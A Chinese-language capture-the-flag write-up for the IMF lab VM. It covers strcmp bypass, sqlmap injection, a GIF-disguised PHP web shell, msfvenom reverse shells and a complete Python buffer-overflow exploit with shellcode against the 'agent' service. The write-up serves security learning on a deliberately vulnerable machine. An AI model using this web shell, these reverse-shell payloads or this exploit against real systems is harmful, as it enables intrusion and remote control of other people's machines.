IMF

作者: __周__ | 来源:发表于2020-04-27 16:19 被阅读0次

    找靶机IP

    图片.png

    扫描端口

    图片.png

    找到第三个页面邮件右键查看源代码,发现第一个flag,经过解码内容为allthefiles

    图片.png

    发现一堆base64的,挨个拿上去解码一下

    图片.png

    解码之后拿到第二个flagflag2{aW1mYWRtaW5pc3RyYXRvcg==}解码为imfadministrator,然后放到浏览器里访问一波,发现一个登陆页面

    图片.png

    查看页面源代码,页面有提示,说是硬编码了密码,百度了一波硬编码的意思,就是把密码写死在原文件里..(神仙操作NB)

    图片.png

    有可能后台使用的是PHP的strcmp函数对比,打算用数组绕过

     strcmp ( string $str1 , string $str2 )
    
    参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
    当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0
    
    图片.png

    可能是用户名有问题?然后试一下用首页面上给的那几个用户名试试rmichaels,akeith,estone

    图片.png

    进去了,拿到第三个flagflag3{Y29udGludWVUT2Ntcw==}解码为continueTOcms,进去之后然后发现是一个半成品的站,习惯行的在url后面加上一个'试一下,发现报错了...

    图片.png

    然后直接扔到sqlmap跑一波,这里要注意一点的是一定要带上cookie,毕竟这是一个登录之后才会显示的页面
    sqlmap -u "http://192.168.133.222/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=9kh5t2nhvrb85ju6nu850ghfi2"

    图片.png

    然后查表,脱裤一把唆


    图片.png

    发现一个在后台没显示的页面,访问一下看看,发现一个新页面,有一个图片,图片内有一个二维码

    图片.png

    然后用手机扫码,拿到第四个flagflag4{dXBsb2Fkcjk0Mi5waHA=}解码为uploadr942.php

    图片.png

    找到上传页面,经过测试有WAF,并且只允许jpg;gif;png上传,并且校验文件头,

    图片.png

    并且在返回包里提供了重命名之后的文件名,访问一下,发现没有目录,只能在爆破一波目录了


    图片.png 图片.png

    访问发现gif文件可以执行php脚本内容,修改gif内容,发现WAF有拦截,于是改成一句话变种

    <?php $s=$_POST['s']; echo `$s`;?>
    
    图片.png

    看到第5个flagflag5{YWdlbnRzZXJ2aWNlcw==}解码为agentservices,看样子有一个叫agent的服务....先反弹回一个shell回来再说

    s=echo "<shell>" > shell.php
    

    使用msfvenom生成shell文件,这个地方暂时不考虑php本身的shell,php有脚本运行超时时间,shell连上一会就断了
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.133.221 lport=4444 -e php/base64 -f raw > msf.php

    然后传到服务器上,访问一下,在自己本地开启msf进行监听

    图片.png

    使用whereis命令查找agent的位置

    图片.png

    使用cat /etc/services | grep agent查找运行端口

    图片.png

    但是扫描不到7788端口,那我们先去提示目录中去看一下


    图片.png

    发现有一个提示access_codes,里面的内容是SYN 7482,8279,9467


    学到一个新东西port knocking
    如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的

    两位表哥的笔记


    看样子这是让我们按照顺序去扫描对应的端口,然后就能开启新端口了???
    nmap -r -p7482,8279,9467 192.168.133.222

    • -r是顺序扫描

    然后重新扫描全端口,发现竟然多了一个7788端口,学到了新知识了


    图片.png

    用nc连接端口查看,发现是一个程序,跟我们在服务器上运行的是一样的,于是我们下载下来,跑一下看看,使用nc进行文件传输,传输完成之后校验一下md5

    nc -lp 9999 > agent
    nc 192.168.133.221 9999 < agent
    

    查看一下文件的基本属性


    图片.png
    图片.png

    本地运行,第一步看样子是需要一个id号才能进行登录,拖到本地用ida看一下,反编译看伪代码

    图片.png

    看到下面有一个strncmp应该是负责比较比较的,那上面那段字符串应该就是密码了

    图片.png

    或者使用ltrace,查看这个程序执行的过程调用的动态库调用

    图片.png

    然后发现几个功能,每个功能点进去看一下,发现第三个功能是有gets函数

    图片.png

    然后我们使用edb调试
    生成测试字符串,提交到输入里面
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

    图片.png

    程序崩了,计算偏移量/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641

    图片.png

    算出偏移量为168,然后生成测试字符串,查看对应寄存器的值

    图片.png

    我们可以看到前面的字符串存放在EAX里后面的字符串存放在ESP里


    图片.png

    使用/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb,将汇编语言转换成十六进制,然后搜索call eax定位位置,然后构造生成shellcode,写出exp

    msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.133.221 LPORT=4444 -f python -b "\x00\x0a\x0d"

    import socket,sys,time
    
    host='192.168.133.222'
    post=7788
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,post))
    print s.recv(1024)
    s.send('48093572\n')
    print s.recv(1024)
    time.sleep(0.5)
    s.send('3\n')
    print s.recv(1024)
    time.sleep(0.5)
    
    target='\x63\x85\x04\x08\n'
    buf =  ""
    buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x60\xf5\x62\xe7\x5f\x31"
    buf += "\xc9\xb1\x12\x31\x5f\x17\x03\x5f\x17\x83\x8f\x09\x80"
    buf += "\x12\x7e\x29\xb2\x3e\xd3\x8e\x6e\xab\xd1\x99\x70\x9b"
    buf += "\xb3\x54\xf2\x4f\x62\xd7\xcc\xa2\x14\x5e\x4a\xc4\x7c"
    buf += "\xa1\x04\xb3\xa1\x49\x57\xbc\x48\xd6\xde\x5d\xda\x80"
    buf += "\xb0\xcc\x49\xfe\x32\x66\x8c\xcd\xb5\x2a\x26\xa0\x9a"
    buf += "\xb9\xde\x54\xca\x12\x7c\xcc\x9d\x8e\xd2\x5d\x17\xb1"
    buf += "\x62\x6a\xea\xb2"
    
    payload=buf+'A'*(168-len(buf))+target
    s.send(payload)
    s.recv(1024)
    print 'send_payload_seccess'
    

    本地nc监听

    图片.png

    相关文章

      网友评论

          本文标题:IMF

          本文链接:https://www.haomeiwen.com/subject/jwrdfhtx.html